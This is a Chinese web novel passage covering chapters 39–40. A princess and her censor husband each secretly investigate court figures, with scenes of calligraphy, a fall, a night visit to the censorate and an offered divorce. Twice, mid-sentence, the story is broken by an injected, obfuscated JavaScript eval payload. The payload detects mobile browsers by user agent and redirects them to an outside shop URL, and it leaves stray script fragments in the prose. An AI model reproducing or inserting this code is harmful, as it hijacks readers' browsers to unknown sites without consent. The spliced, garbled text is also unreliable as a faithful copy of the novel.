深阁重帷,齐光并看不见夜色,猜测大约已经不早,大约也到月晦星疏之时。他慢慢听见了她的呼吸声,却并不平稳,偶带一声轻咳,牵动他的心随之一提。 他没有别的办法,在夜更深的时候,轻柔地为她压实了被角。重又回躺,明明动作极轻,不知怎么,那蜻蜓却抖了抖翅膀。 39.两心不语 御史台正处皇城西侧,与西苑只相隔一条纵道。信步走去不费半刻,而一入苑门便可见供养御马的骅骝马坊。 当高齐光于午后人静之际踏足此地,不必开口询问,已被一绿袍官吏认了出来,上前向他作揖道: “下官马坊牧监胡远见过高驸马,驸马贵步降临,下官有失远迎。” 齐光观他服色年貌,也猜到他是此处长吏,还礼道:“胡牧监不必如此,你我的品阶是一样的。”一笑,将他携至围墙下,方继续道: “敢问胡牧监是何时上任马坊的?” 胡远虽不懂他的来由,也深知他是当朝最得宠的驸马,不敢多思多虑,只忙回道:“下官驽钝,只有一身养马的本事,从二十岁就是此地牧尉,至今也有二十余年了。” 果是此地元老,齐光心中可喜,点头道:“胡牧监如此年资深厚,高某倒有一事想要求教。牧监想必知道,原先马坊有一个叫李固的马奴,现在就跟随公主护卫。听闻他父亲李丛生前也是马坊牧尉,不知牧监可熟悉此人?” 胡远未及听完,已露出诧异神色,说道:“李丛比下官还早几年任职马坊,只可惜壮岁早逝。他膝下有两个儿子,当年尚且年幼,还不能补缺,无计为生,原是送去了掖庭,要净身为宦。后来掖庭令又给退了回来,说他两个没有选上,就让他们留在马坊为奴。” 齐光已不觉暗暗握拳,暂忍耐道:“两个儿子,那除了李固,另一个叫什么?现在又在何处?” 胡远摇头一叹:“李固是幼子,他哥哥叫李因,但六年前却得了一场重病,也没了。到底还是李固有福气些,能得到公主青眼。” 齐光全都明白了,他猜的没错,李因就是韩因,正与李固是兄弟。而他们的经历,恐怕从被掖庭退回起,就与同霞有了关联。 只是李氏兄弟年长同霞数岁,同霞年幼时又孤弱无助,他们之间一定还存在一个人,在长久的岁月里始终为他们沉谋研虑,才能够呈现如今的局面。 齐光大为震撼,无法想象那是一个怎样的谋划。 不容自己此刻迁延,他很快压下一切心绪,笑了笑,伸手挽过胡远,暗将一包黄白之物推入了他的掌中,道: “多谢胡牧监赐教,高某只是看李固侍奉公主很好,又谨言慎行,问问他的履历,想要嘉奖他。” 胡远起初未敢多疑,这时就更知情理,引袖掩手,如常拜了一礼:“下官恭送驸马。” * 如萧遮所说,同霞从来无心文墨,一笔字也只是尚算端正,与笔法风韵毫不沾边。但她既与裴涓主动约定,裴涓身为小辈,也不敢失礼。于是连同萧遮,三人于公主府后园的风亭设席,铺展文房,就当真切磋起来。 因正逢春日,三人就各写了一遍前人白乐天的春风诗四句。等到三张纸放在一处比看,不必别人提,同霞自己先是脸上一热,将纸团了,扔到了一旁。 “突然不想写了,反正又不争状头。” 她扭头看向亭外水池,似乎真是赏景,却已是欲盖弥彰到了极致。萧遮自小见惯她如此,立马笑道: “一年也不见你写上两笔,偏要班门弄斧,不好意思了吧?涓儿家学渊源,他父亲的字,当年先帝都称赞不已。” 裴涓自然也看得明白,既为萧遮这话感到羞惭,又觉同霞年纪还小些,难免稚气,便看了萧遮一眼,圆场道: “大王如此说,妾便知道,小姑姑是疏于练习罢了。”示意侍女端来一盘乳酥糖,亲手奉上又道:“其实妾的字根本入不了父亲的眼,不过是涂鸦消遣呢。” 同霞少不得要给裴涓面子,斜了萧遮一眼,索性也将他那张字团了,向他头上一丢,便拿了糖放进嘴里,扬眉道: “先帝夸的又不是你,陛下也没有夸过你,你比我好多少?有什么可得意的?” 纸团虽不重,却正中萧遮左眼,惊得他眼周一酸,也想扔点什么回去,却见裴涓极力摇头,只好忍下,揉着眼睛道:“哼!我也不去争状头,我写那么好的字做什么?” 原以为他要说些长志气的话,不过如此,同霞和裴涓同时笑出声来。萧遮却还不明状况,只觉她们相识不久,怎么一下都比自己还要默契了?无处说理,低头随意写划,自行缓解尴尬。 同霞再不去管他,看了看裴涓,忽问道:“涓儿,你父亲的字好,我也早有耳闻。他又在礼部多年,主持过几次春闱,一定也有不少学生投其所好吧?其中有没有颇有名气的?” 裴涓垂目一笑,说道:“妾印象中,每逢春闱,确有一些士子登门,有的尚未登科,诗名才气早已传扬。只是妾居后院,这些外务,也不大清楚。” 同霞点点头,给自己和裴涓各送了一块糖,一笑:“说得也是,哪有叫你出来招待外客的道理?” 裴涓含笑接下糖,放入口中,一时心生感慨,缓缓又道:“妾家祖籍远在江南,血脉凋零,母亲过世后,妾就与父亲相伴度日。既然没有亲戚,平素访客也不多,只有与父亲同年登科的苏伯父,二十多年来情谊深厚。妾便也与他家娘子自小有情,她还长我三岁,去年嫁去了随州。妾那时颇觉失落,但如今能得姑姑厚待至此,也无遗憾了。” “苏伯父?那他也是在京中为官了?”同霞全篇听来,只关切这个人物,“他叫什么名字?” 裴涓答道:“是,苏伯父名苏干,现任侍御史一职。” “那不就和驸马是一样的?”同霞惊诧道。 裴涓羞赧点头:“正是呢。” 大约是被晾在一旁太久,萧遮终究耐不住,一把将糖盘夺走,打断他们道:“不是来写字的么?既不写了,又说这些无趣的!” 同霞白他一眼,又同裴涓相视一笑,心中忖度,不好再多说什么,“好,不说了,就继续写。写完了,哪一日送给陛下看看去,看他还赏不赏你了。” 萧遮不信这话是真,朝她皱了皱脸,大方地为众人重新铺纸磨墨。 再次动笔,同霞虽然面上平常,心思早已不在纸上。 她以习字主动亲近裴涓,不过就是为了寻找机会了解裴昂。以皇帝亲口与她交代,让她今后可多与裴涓交往,再辅以早前的猜测,她已能认定,裴昂就是皇帝培植来对付高氏的一把刀。 而前时又从周肃口中得知,裴昂曾十分赞赏监察御史孟殊平。她方才问起裴昂的门生,原就是想看看裴涓有没有听说过此人。若内院女眷都有知闻,则可证实裴昂现在仍与他有关系,便也可推断,徐纵案与裴昂确有相关。 但是,孟的名字没有出现,却又巧合地冒出了一个现为高齐光同僚的苏干,此人倒可以确定与裴昂交情匪浅。可苏干是个与裴昂年资相当的人,至今才是从六品,更比裴昂仕途艰难,他又会在其中扮演怎样的角色呢? 想到此处,笔尖早已悬空,然而不及她自己回神,忽见对面萧遮猛地站了起来,不言一字,只又拉起仍在专心书写的裴涓,夫妻俩转从连接风亭的后廊离去了。 整个动作快得不等同霞反应,遥遥喊了两声,方被一旁稚柳拽住,提示她往身后看—— 高齐光回来了。 此人就是罪魁了,再不必求问缘故。 同霞便示意稚柳带人收去笔墨文房,却见齐光也弯腰捡拾她刚刚扔的纸团,阻止道:“不许动!” 齐光动作却快,她说话同时已展开欣赏了一番,两张字迹他都认得,一笑,只把萧遮那张递给了一旁侍女,“公主真是——字如其人。” 同霞原已不悦,他竟敢取笑,想是近日待遇太好,有些得寸进尺,冷哼一声道:“高侍御倒是有大才,为何只中在二甲?莫不是文章虽好,字却只配二甲?” 关于他的名次问题,这是她提出的第二个假设。尽管气氛不佳,齐光却只觉已许久不见她这副赌气娇嗔的神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16930820|188272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 态,心中珍爱,忍笑先揖了一礼,道: “公主息怒,臣还没说完。公主字如其人,但臣上回也说了,臣与公主也是形貌相当,所以臣与公主,与公主的字,都是相当的。” 这不就是说,她也是“只配二甲”了?幸好脑子转得快,险些叫他绕进去!正要回敬,忽又发觉,若为此生气,不又是自己推翻自己? “你!” 她竟然语塞,指了他半晌,咬疼了嘴唇也没想出话来,只好也从后廊愤然离去。可她自顾三步并作两步跑起来,不防一脚绊在台阶上,身子顿时踉跄倾倒。 千钧之际,倒是没有着地,“公主当心!”这个罪魁追得倒也极快,脸上再无得逞喜色。 “你放开!”同霞被他拦腰抱住,半身都动不得。 他脸色起伏,仿佛他才是应该生气的人,“臣不放!”沉沉一句又直接将她打横抱起,不顾园中侍女众目,径直往郁金堂而去。 * 萧遮已与高齐光当面冲突,如今就算当着同霞,也不欲再掩饰分毫。裴涓不明就里,直到穿过两府后园的联门,才勉强将他拽住。萧遮三言两语也说不清,只烦躁道: “姑姑是姑姑,他是他,你以后也不用把他放在眼里!”见裴涓面露惊惧,方缓口一叹: “他是个只要经营仕途的趋炎附势之徒,你父亲也不喜欢他,还当街骂过他。所以,你只听我的就是了。” 他提起父亲对高驸马的态度,裴涓倒是想起曾经有所耳闻,只是并没深解缘故,又想这姑侄感情要好,他应该不至于与姑丈有何矛盾,便柔声劝道: “妾不敢忤逆大王,只是大王这样离开,姑姑想必为难。她的身体原就弱,大王一向关怀,就不怕姑姑急病了?” 想是婉转劝导深入人心,萧遮果然一愣,垂下头来,“反正,我是做不好了。”忽见裴涓攀在他臂上的右手沾了墨汁,定是他方才扯拽得太急,顿生愧疚,牵过她双手道: “对不起,我会去向姑姑道歉的。那现在我们先回房,我替你洗手。” 裴涓可喜他听劝,也可喜他体贴,颔首一笑,夫妻相扶而去。 * 齐光直将同霞抱到榻上才放手,又不顾她挣扎,屈膝跪地,将她双脚按住,一一脱去鞋履查看,问道:“摔疼了没有?” 同霞拗不过他的力气,双臂撑在榻沿,扭头不理。 齐光是真急了,那廊庑地上铺的都是坚硬石板,若他迟了半步,叫她迎头栽倒,就远不是脚伤了。“都是臣的错,臣不该乱取笑。”他后悔不及,就算未见她脚上有伤,心里仍隐隐作痛。 同霞心中不屑,见他半晌不自觉告退,略一忖度,趁他手掌放松,忽然提脚伸腿,脚尖直抵他胸口。然而这人虽不预料,仍极快仰后了半寸,膝下竟也跪得平稳。 “你属兔子的?还是老鼠?”同霞原想将他蹬翻在地,出口气,却被他的敏捷一惊。 齐光缓缓舒了口气,将她脚尖握下,方含笑道:“公主是永贞十年四月二十八生人,才是属兔的,而臣年长公主近十岁,是属蛇的。” “那也狡猾——是毒蛇!”同霞接连败退,一时只想起这话,就算是最狠的了。 齐光确也没想到她如此评判,不但不气,甚至也没忍住笑,笑得双肩发抖。 同霞再也不堪此辱,转身滚到卧榻里侧,将他的枕头踹到了地上,“你出去!否则我就叫李固把你绑出去!” 她虽如此说,又用绣被将头盖住,并不监督他离开。齐光安静等了半刻,果然安全,眼睛缓缓移向了悬在帐中的蜻蜓: “不久便是公主十六岁生辰,若到那一日臣也能学会编织一只蜻蜓,公主就给臣一个机会说下去好吗?” 他刚刚就已准确地说出了自己的生辰,同霞却到这时才恍然察觉,将他的话听完,心里也不觉恼烦。 “不好。” 40.怜我怜君 同霞说要将萧遮的习作送给皇帝品评,果然几日后就亲自送进了宫。只是皇帝看了,并不置评,倒是取笑说她与萧遮成日胡闹逍遥,附庸风雅,将人家一位才女都要带坏了。 然而这看似随意的闲谈,在旁侍者宫人或者不察,同霞心中却很明白,这其实就是在赞许萧遮,就连裴家也毫不吝啬地抬举了进去。她觉得,这样的效果令人满意。 皇帝又留她陪到晚间,仍命羽林送她还家,却被她婉拒,就携稚柳步行离宫。宫城之外便是聚集了国朝各样最高官署的皇城,望着一条条纵横的夹道,她第一次有了些别的想法。 于一条西向的横道前站定,她只叫稚柳先行回府,又不要提灯,趁着月色独自走去。稚柳其实早见她心不在焉,虽不可多问,辨此方向,也知道她要去何处。 无奈一叹。 * 高齐光今夜当班,但当班的必不止是他,夜阑人静的御史台,不知会是什么样。 夹道上多有来往巡守的禁军,远远见她还觉形迹可疑,执戟呵斥,冲上前来,看到她的脸,也都默然放行了。来到御史台正门前,因不愿惊动各处知晓,这才开口交代了门吏一句: “我才从陛下殿里过来,你们就当没看见我。驸马连日值夜,我就是有些想他了。” 门吏禁卫既在宫中当职,皆是极明白事理的,她身份尊贵且不必说,一个小女子又能有什么隐患?不过是等她进门离远了些,才互相一笑,感叹一句:这高齐光的艳福比官运还不浅。 绕过台院正堂,同霞只沿着环廊随意慢行,见到凡有亮灯的堂舍,就走近略听上一听。半刻下来,既没有遇到人,也没有发觉感兴趣的事。终究是走到了东侧匦堂,高齐光的值房。 窗上的投影正是那人伏案的身形,同霞一眼就认了出来。远看半晌,未见其他人影移动,这才轻轻移步檐下,却忽见他站了起来,影子远去,一时不见了。 这匦堂就是御史台收存文书的地方,无论是御史的奏章,还是受事的表文,都会在此地存档。她想来,那人大约是去匦架上整理了,但等来等去,比她走来的时间还长了,也还不见他回来。 匦架上的文书又不是乱堆放的,他只需将每日新收纳的登记造册放去架上,也不用大动干戈,怎么这么久? 她狐疑地靠近窗台,权衡之下,不曾轻动,只将窗子推开了一道缝隙。一见,他确实是在匦架下,但手里并没捧着要存放的文书,反而穿梭于排排匦架之间,又登梯上下,片刻不歇。 他不是在理匦,更像是在寻找什么。 “何人在此?!” 同霞尚未想明白,一声呵斥忽然震耳,惊极转身,才见是一个半老的绿袍官吏,横眉竖目,神情比外头的禁军都威严狠厉。 “你是谁啊?”惊悸稍平,她并不畏惧,心想里头那人必会出来救场,便只一笑反问。 这人看来并不认识面前人物,只觉她言行举动匪夷所思,更生怒意:“皇城禁中,御史台院,你一个小女子竟敢擅闯,在此鬼鬼祟祟……” “苏侍御息怒!” 果然不等他说完,救场的人就破门而出,一身拦在同霞面前,拱手一礼,解释道:“苏公,这是高某的妻子,安喜长公主。” 这人姓苏,苏侍御——他就是苏干!同霞恍然解悟,暗暗一笑。 苏干听闻同霞名号,虽然面露惊诧,仍没有松口的意思,冷哼道:“长公主也没有特权可以擅闯皇城官署,臣就是告到陛下面前,陛下也没有偏袒之理。” 规矩自然如此,可同霞并不打算走,正要说话,又被齐光抢先:“那苏公是要在此刻惊动禁卫,将公主带走么?陛下恐怕已经休息了。” 苏干被堵得脸色涨红,一只手颤颤指过来:“高齐光!你……你简直目无王法,也配做一个御史?!” 齐光再拜又道:“高某若不配,也自有陛下发落。” “好,好!”苏干连连倒气,不齿已极,甩袖离去。 齐光这才回头,但目光只在同霞面上一顿,即刻就将她牵进了值房,后踢一脚将门闭合,“吓到了吧?别怕。”说着将她揽入怀抱,细语温存。 同霞身躯一僵,却听到了比自己更夸张的心跳声,“我,不怕。”不知自己为难什么,咬唇又道:“你别这样。” 齐光缓缓松开臂膀,轻皱眉心,这才长舒了口气:“公主怎么来找臣了?” 同霞略低着眼睛,又转向阁中四下观看,道:“你刚才那样说,他必定是要弹劾你。你就让我顶他两句,又能怎么?” 齐光仍注目她,淡淡一笑:“他要弹劾,本也少不了公主的份,臣又何必让公主多受委屈?臣心中不忍。” 他们之间已不能回到最初的和睦,哪怕那样的和睦也并不真切,可如今这样,又算得什么? 同霞不欲再深究,回避地走去他书案前坐下,拿起案上摆的一根拨镫挑了挑灯烛的烛芯,“我今天入宫看望陛下,出来时就想到这里看看。”似没说全,又转口问道: “那个苏侍御是叫苏干吧?” 这话只是增添了齐光的疑惑,她的来意难道就与此人相关?“是,公主认得?” 同霞摇头:“就是听许王妃聊起家事,提到她父亲与一位苏伯父同年登科,感情要好。我随口多问了几句才知道,今天也是巧了。” 齐光本要靠近,闻言又顿步。 同霞瞧他一眼道:“怎么了?你可别指望我去求许王妃去讨情,看这苏干性情如此刚烈,也不会答应。不过,我也算知道裴昂为什么与他要好了,两个人一样脾气。” 齐光掩在袖下的手不觉捏紧,这才走近坐下,道:“所以,公主也知自己不能来此,就算没有遇见苏侍御,也会被守门禁卫看见,那公主究竟是为何而来?” 同霞既不怕门吏看见,也不惧遇见别人。 她就是要人看见。他也猜得透彻。 “我与门吏说的是,驸马连日值夜,我有些想他了。”她以轻浮地口气给予他肯定。 齐光旋即轻笑一声:“臣亦无时无刻不在思念公主。” 既然都是戏言,同霞也向他一笑,相视间忽又道:“其实方才我若早些进来,也不会叫苏干撞见——我躲在窗外看你,看到你在匦架间上下翻找,你在找什么?” 齐光自然知道自己做了什么,便也知道她是真的看见了,但面上的笑意几无改变,就道: “匦架上只有文书,臣就是在找日前收存的一份奏章,因与簿册上登记的日期不符,一时不知归到了何处。” 匦架上固然没有别的东西,但想来就更怪:“你上任不到三月,三个月的文书再多,何至于你这样翻查?”同霞抬手指向前面十数排满载的匦架,又道: “这里面恐怕连十年前的存文都有,你在旧物里寻新物,怎么可能找到?” 齐光随她所指看向匦架,待她话音落下才缓缓转回:“公主有所不知,这些匦架虽看似整齐,每日洒扫的小奴却会随手堆叠,只求表面平整。臣就是怕那份奏章被他们塞错了地方。” 他说得有理有据,同霞就算不信,至此也无可反驳,“哦,原来如此。” 齐光点点头,神情自若,看了看透窗的夜色,“这个时辰宫门早已落锁,公主独身一人是不便再回府的。” “我知道,我就在这里等到五鼓,你忙你的,我又不会添乱。”同霞笑笑,伸出一指在窗格上划过,“若是苏干手脚快,或许明天一早陛下就直接召见了,我正好和你一起去,还省事些。” 齐光并不再与她说笑,“臣没有嫌公主添乱,更不是要让公主另寻别处安置,臣是想请公主去安歇。”看向对面一张三围白屏,又道: “屏后是一张小榻,专供臣下值夜时休憩,尚算整洁。公主的身体是不宜熬夜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16936023|188272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。” 同霞一时哑口。 齐光看她不决,又道:“其实值夜时,不常会有人走动,像苏侍御那般,应该是偶然有事要向臣交代。所以公主放心,臣也会一直守在这里,不会让人进来。” 大约僵持下去更为尴尬,同霞终于咬牙起身,慢吞吞挪进了屏后。他没有跟来,又在外递话: “公主早些睡,不要害怕。” 她轻轻“嗯”了声,心里泛起复杂的滋味。依墙摆放的一张壶门榻果然就只一人宽,俨然是有些年头了,才一坐下就吱呀作响。 “嗯?” 正要牵过被毯躺下,不防摸到并不厚实的垫絮下似乎有什么东西凸起,翻开一看,竟见是半个……半团飞虫?才具雏形,是藤编的,其下还有不少长长短短的细藤条。 “公主别看!” 她还没研究明白,那人忽然冲了进来,手一伸就夺走了这不明物,藏到身后,脸色一阵红又一阵白。 “那是你编的?”她只能这么认定。 齐光遮掩不住,沉重地一点头:“臣……臣还在学。” 同霞这才想起关联,他是说过要在她生辰前学会做一只蜻蜓。但没想到,他竟然带到御史台来钻研,不知是该夸他废寝忘食,还是该说他不务正业。 况且,她并没有允诺他一只蜻蜓就能换来交心的机会。 他仿佛能从她脸上窥透她此刻所想,低头又道:“臣一时忘记拿走了,公主不必放在心上。” “你做的蜻蜓,也是物似主人形。”同霞脸上浮现了一丝若有若无的笑意。 那日他取笑她字如其人,这便是现世报了,但齐光愣怔半晌,忽然觉察了什么,缓缓伏到她膝前,诚恳问道:“公主不嫌弃臣的手工拙劣,是吗?” 因为他对她的那张字也爱若珍宝。 她与他对视,面貌平和,不像是在斟酌:“我累了。”说着便要弯身去脱鞋,被他拦住。 他就将那团拙劣的手工放在地上,一手托起她的脚一手去脱鞋。见她并不抗拒,又抱起她,轻轻送到了枕上。但这陈旧的睡榻还是吱呀一响,打破了此间的安宁。 极短的停顿后,他淡淡一笑:“公主以后还来吗?若还想来,臣明天就叫人换一张好的。” 同霞仍那样看着他,忽而怜悯地蹙了蹙眉:“我现在可以给你一个机会,一个活命的机会。我会寻个由头让陛下赐我们和离,你便辞官也好,外任也罢,带着你的家人,离开繁京吧。” “臣——不要!不要这样的机会!”她殷切的真情却如重锤砸在齐光胸膛,“公主都没有听过臣的心,为什么就能断定,臣不能与你共担风雨呢?!” 她不过是在这一刻突然心念一动,愿意相信他与自己的目的相同。可却绝不相信,他的仇恨能与自己相当。她必要达成目的,她的仇恨就能覆盖他的仇恨,放过他,岂不是惠而不费? 最重要的是,这也是她对自己的怜悯。 她不欲与他争辩,他已经错过这个机会了。 “那蜻蜓不过是个玩物,你既叫我别放在心上,那你也不要放在心上了。”她翻身转向内侧,合上了有些潮湿的眼睛。 齐光仍伏跪在榻下,许久才艰难地捡起那只不可以称作是蜻蜓的物件。 * 苏干的动作并没有那么快,天亮后,他们依旧安然无恙。齐光将同霞送回公主府,夫妻一路无言。待他独自返回,太平坊到皇城的短短距离,他只是缓慢步行。 “元渡!” 才刚解禁的街道尚不算喧闹,却突然划过一声尖锐的呼唤。 只有他能领会的尖锐。 他的脸色登时一紧,目光环视,锁定在道旁巷口,下一刻几以飞速冲去,一把就扼住了那人的咽喉。 被他重重压制住的年轻人并不抵抗,反而咧嘴赞道:“许久不见,高驸马的身手竟未生疏。”